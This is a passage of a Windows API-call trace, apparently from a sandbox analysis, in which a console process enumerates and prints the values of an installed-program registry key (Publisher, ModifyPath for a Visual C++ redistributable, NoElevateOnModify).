returned 12 [0150.927] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.927] __iob_func () returned 0x7fefd702a80 [0150.927] _fileno (_File=0x7fefd702ab0) returned 1 [0150.927] _errno () returned 0x204bb0 [0150.927] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.927] _errno () returned 0x204bb0 [0150.927] GetFileType (hFile=0x50) returned 0x1 [0150.927] lstrlenW (lpString="\n") returned 1 [0150.927] GetConsoleOutputCP () returned 0x1b5 [0150.927] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.927] GetConsoleOutputCP () returned 0x1b5 [0150.927] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.927] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.927] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.927] GetProcessHeap () returned 0x3c0000 [0150.927] GetProcessHeap () returned 0x3c0000 [0150.927] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.927] GetProcessHeap () returned 0x3c0000 [0150.927] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0150.927] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.927] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.927] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0150.927] GetProcessHeap () returned 0x3c0000 [0150.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d7910 [0150.927] GetProcessHeap () returned 0x3c0000 [0150.927] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910) returned 1 [0150.927] GetProcessHeap () returned 0x3c0000 [0150.927] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7910) returned 0x30 [0150.928] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d7910, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0150.928] __iob_func () returned 0x7fefd702a80 [0150.928] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.928] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.928] _fileno (_File=0x7fefd702ab0) returned 1 [0150.928] _errno () returned 0x204bb0 [0150.928] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.928] _errno () returned 0x204bb0 [0150.928] GetFileType (hFile=0x50) returned 0x1 [0150.928] lstrlenW (lpString=" ") returned 4 [0150.928] GetConsoleOutputCP () returned 0x1b5 [0150.928] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.928] GetConsoleOutputCP () returned 0x1b5 [0150.928] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.928] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.928] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.928] lstrlenW (lpString="Publisher") returned 9 [0150.928] __iob_func () returned 0x7fefd702a80 [0150.928] _fileno (_File=0x7fefd702ab0) returned 1 [0150.928] _errno () returned 0x204bb0 [0150.928] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.928] _errno () returned 0x204bb0 [0150.928] GetFileType (hFile=0x50) returned 0x1 [0150.928] lstrlenW (lpString="Publisher") returned 9 [0150.928] GetConsoleOutputCP () returned 0x1b5 [0150.929] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.929] GetConsoleOutputCP () returned 0x1b5 [0150.929] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0150.929] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.929] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.929] __iob_func () returned 0x7fefd702a80 [0150.929] _fileno (_File=0x7fefd702ab0) returned 1 [0150.929] _errno () returned 0x204bb0 [0150.929] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.929] _errno () returned 0x204bb0 [0150.929] GetFileType (hFile=0x50) returned 0x1 [0150.929] lstrlenW (lpString=" ") returned 4 [0150.929] GetConsoleOutputCP () returned 0x1b5 [0150.929] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.929] GetConsoleOutputCP () returned 0x1b5 [0150.929] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.929] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.929] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.929] __iob_func () returned 0x7fefd702a80 [0150.929] _fileno (_File=0x7fefd702ab0) returned 1 [0150.929] _errno () returned 0x204bb0 [0150.929] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.929] _errno () returned 0x204bb0 [0150.929] GetFileType (hFile=0x50) returned 0x1 [0150.929] lstrlenW (lpString="REG_SZ") returned 6 [0150.930] GetConsoleOutputCP () returned 0x1b5 [0150.930] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.930] GetConsoleOutputCP () returned 0x1b5 [0150.930] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.930] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.930] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.930] __iob_func () returned 0x7fefd702a80 [0150.930] _fileno (_File=0x7fefd702ab0) returned 1 [0150.930] _errno () returned 0x204bb0 [0150.930] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.930] _errno () returned 0x204bb0 [0150.930] GetFileType (hFile=0x50) returned 0x1 [0150.930] lstrlenW (lpString=" ") returned 4 [0150.930] GetConsoleOutputCP () returned 0x1b5 [0150.930] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.930] GetConsoleOutputCP () returned 0x1b5 [0150.930] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.930] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.930] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.930] __iob_func () returned 0x7fefd702a80 [0150.930] _fileno (_File=0x7fefd702ab0) returned 1 [0150.930] _errno () returned 0x204bb0 [0150.930] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.931] _errno () returned 0x204bb0 [0150.931] GetFileType (hFile=0x50) returned 0x1 [0150.931] lstrlenW (lpString="Microsoft Corporation") returned 21 [0150.931] GetConsoleOutputCP () returned 0x1b5 [0150.931] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0150.931] GetConsoleOutputCP () returned 0x1b5 [0150.931] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0150.931] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0150.931] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.931] __iob_func () returned 0x7fefd702a80 [0150.931] _fileno (_File=0x7fefd702ab0) returned 1 [0150.931] _errno () returned 0x204bb0 [0150.931] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.931] _errno () returned 0x204bb0 [0150.931] GetFileType (hFile=0x50) returned 0x1 [0150.931] lstrlenW (lpString="\n") returned 1 [0150.931] GetConsoleOutputCP () returned 0x1b5 [0150.931] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.931] GetConsoleOutputCP () returned 0x1b5 [0150.931] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.931] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.931] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.932] GetProcessHeap () returned 0x3c0000 [0150.932] GetProcessHeap () returned 0x3c0000 [0150.932] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910) returned 1 [0150.932] GetProcessHeap () returned 0x3c0000 [0150.932] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7910) returned 0x30 [0150.932] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910 | out: hHeap=0x3c0000) returned 1 [0150.932] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.932] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xc0) returned 0x0 [0150.932] GetProcessHeap () returned 0x3c0000 [0150.932] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc2) returned 0x3e1c70 [0150.932] GetProcessHeap () returned 0x3c0000 [0150.932] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.932] GetProcessHeap () returned 0x3c0000 [0150.932] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xc2 [0150.932] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xc0 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /modify", pcbData=0x29f780*=0xbe) returned 0x0 [0150.932] __iob_func () returned 0x7fefd702a80 [0150.932] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.932] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.932] _fileno (_File=0x7fefd702ab0) returned 1 [0150.932] _errno () returned 0x204bb0 [0150.932] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.932] _errno () returned 0x204bb0 [0150.932] GetFileType (hFile=0x50) returned 0x1 [0150.932] lstrlenW (lpString=" ") returned 4 [0150.932] GetConsoleOutputCP () returned 0x1b5 [0150.932] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.932] GetConsoleOutputCP () returned 0x1b5 [0150.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.933] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.933] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.933] lstrlenW (lpString="ModifyPath") returned 10 [0150.933] __iob_func () returned 0x7fefd702a80 [0150.933] _fileno (_File=0x7fefd702ab0) returned 1 [0150.933] _errno () returned 0x204bb0 [0150.933] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.933] _errno () returned 0x204bb0 [0150.933] GetFileType (hFile=0x50) returned 0x1 [0150.933] lstrlenW (lpString="ModifyPath") returned 10 [0150.933] GetConsoleOutputCP () returned 0x1b5 [0150.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.933] GetConsoleOutputCP () returned 0x1b5 [0150.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0150.933] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0150.933] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.933] __iob_func () returned 0x7fefd702a80 [0150.933] _fileno (_File=0x7fefd702ab0) returned 1 [0150.933] _errno () returned 0x204bb0 [0150.933] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.933] _errno () returned 0x204bb0 [0150.933] GetFileType (hFile=0x50) returned 0x1 [0150.933] lstrlenW (lpString=" ") returned 4 [0150.934] GetConsoleOutputCP () returned 0x1b5 [0150.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.934] GetConsoleOutputCP () returned 0x1b5 [0150.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.934] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.934] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.934] __iob_func () returned 0x7fefd702a80 [0150.934] _fileno (_File=0x7fefd702ab0) returned 1 [0150.934] _errno () returned 0x204bb0 [0150.934] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.934] _errno () returned 0x204bb0 [0150.934] GetFileType (hFile=0x50) returned 0x1 [0150.934] lstrlenW (lpString="REG_SZ") returned 6 [0150.934] GetConsoleOutputCP () returned 0x1b5 [0150.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.934] GetConsoleOutputCP () returned 0x1b5 [0150.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.934] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.934] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.934] __iob_func () returned 0x7fefd702a80 [0150.935] _fileno (_File=0x7fefd702ab0) returned 1 [0150.935] _errno () returned 0x204bb0 [0150.935] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.935] _errno () returned 0x204bb0 [0150.935] GetFileType (hFile=0x50) returned 0x1 [0150.935] lstrlenW (lpString=" ") returned 4 [0150.935] GetConsoleOutputCP () returned 0x1b5 [0150.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.935] GetConsoleOutputCP () returned 0x1b5 [0150.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.935] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.935] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.935] __iob_func () returned 0x7fefd702a80 [0150.935] _fileno (_File=0x7fefd702ab0) returned 1 [0150.935] _errno () returned 0x204bb0 [0150.935] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.935] _errno () returned 0x204bb0 [0150.935] GetFileType (hFile=0x50) returned 0x1 [0150.935] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /modify") returned 94 [0150.935] GetConsoleOutputCP () returned 0x1b5 [0150.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /modify", cchWideChar=94, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 94 [0150.935] GetConsoleOutputCP () returned 0x1b5 [0150.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /modify", cchWideChar=94, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /modify", lpUsedDefaultChar=0x0) returned 94 [0150.935] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 94 [0150.936] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.936] __iob_func () returned 0x7fefd702a80 [0150.936] _fileno (_File=0x7fefd702ab0) returned 1 [0150.936] _errno () returned 0x204bb0 [0150.936] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.936] _errno () returned 0x204bb0 [0150.936] GetFileType (hFile=0x50) returned 0x1 [0150.936] lstrlenW (lpString="\n") returned 1 [0150.936] GetConsoleOutputCP () returned 0x1b5 [0150.936] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.936] GetConsoleOutputCP () returned 0x1b5 [0150.936] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.936] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.936] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.936] GetProcessHeap () returned 0x3c0000 [0150.936] GetProcessHeap () returned 0x3c0000 [0150.936] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.936] GetProcessHeap () returned 0x3c0000 [0150.936] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xc2 [0150.936] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.936] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoElevateOnModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.936] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoElevateOnModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.936] GetProcessHeap () returned 0x3c0000 [0150.936] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.936] GetProcessHeap () returned 0x3c0000 [0150.936] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.936] GetProcessHeap () returned 0x3c0000 [0150.936] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.937] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoElevateOnModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.937] __iob_func () returned 0x7fefd702a80 [0150.937] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.937] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.937] _fileno (_File=0x7fefd702ab0) returned 1 [0150.937] _errno () returned 0x204bb0 [0150.937] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.937] _errno () returned 0x204bb0 [0150.937] GetFileType (hFile=0x50) returned 0x1 [0150.937] lstrlenW (lpString=" ") returned 4 [0150.937] GetConsoleOutputCP () returned 0x1b5 [0150.937] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.937] GetConsoleOutputCP () returned 0x1b5 [0150.937] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.937] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.937] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.937] lstrlenW (lpString="NoElevateOnModify") returned 17 [0150.937] __iob_func () returned 0x7fefd702a80 [0150.937] _fileno (_File=0x7fefd702ab0) returned 1 [0150.937] _errno () returned 0x204bb0 [0150.937] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.937] _errno () returned 0x204bb0 [0150.937] GetFileType (hFile=0x50) returned 0x1 [0150.938] lstrlenW (lpString="NoElevateOnModify") returned 17 [0150.938] GetConsoleOutputCP () returned 0x1b5 [0150.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoElevateOnModify", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0150.938] GetConsoleOutputCP () returned 0x1b5 [0150.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoElevateOnModify", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoElevateOnModify", lpUsedDefaultChar=0x0) returned 17 [0150.938] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0150.938] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.938] __iob_func () returned 0x7fefd702a80 [0150.938] _fileno (_File=0x7fefd702ab0) returned 1 [0150.938] _errno () returned 0x204bb0 [0150.938] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.938] _errno () returned 0x204bb0 [0150.938] GetFileType (hFile=0x50) returned 0x1 [0150.938] lstrlenW (lpString=" ") returned 4 [0150.938] GetConsoleOutputCP () returned 0x1b5 [0150.938] WideCharToMultiByte (in: CodePage=0x1b5, 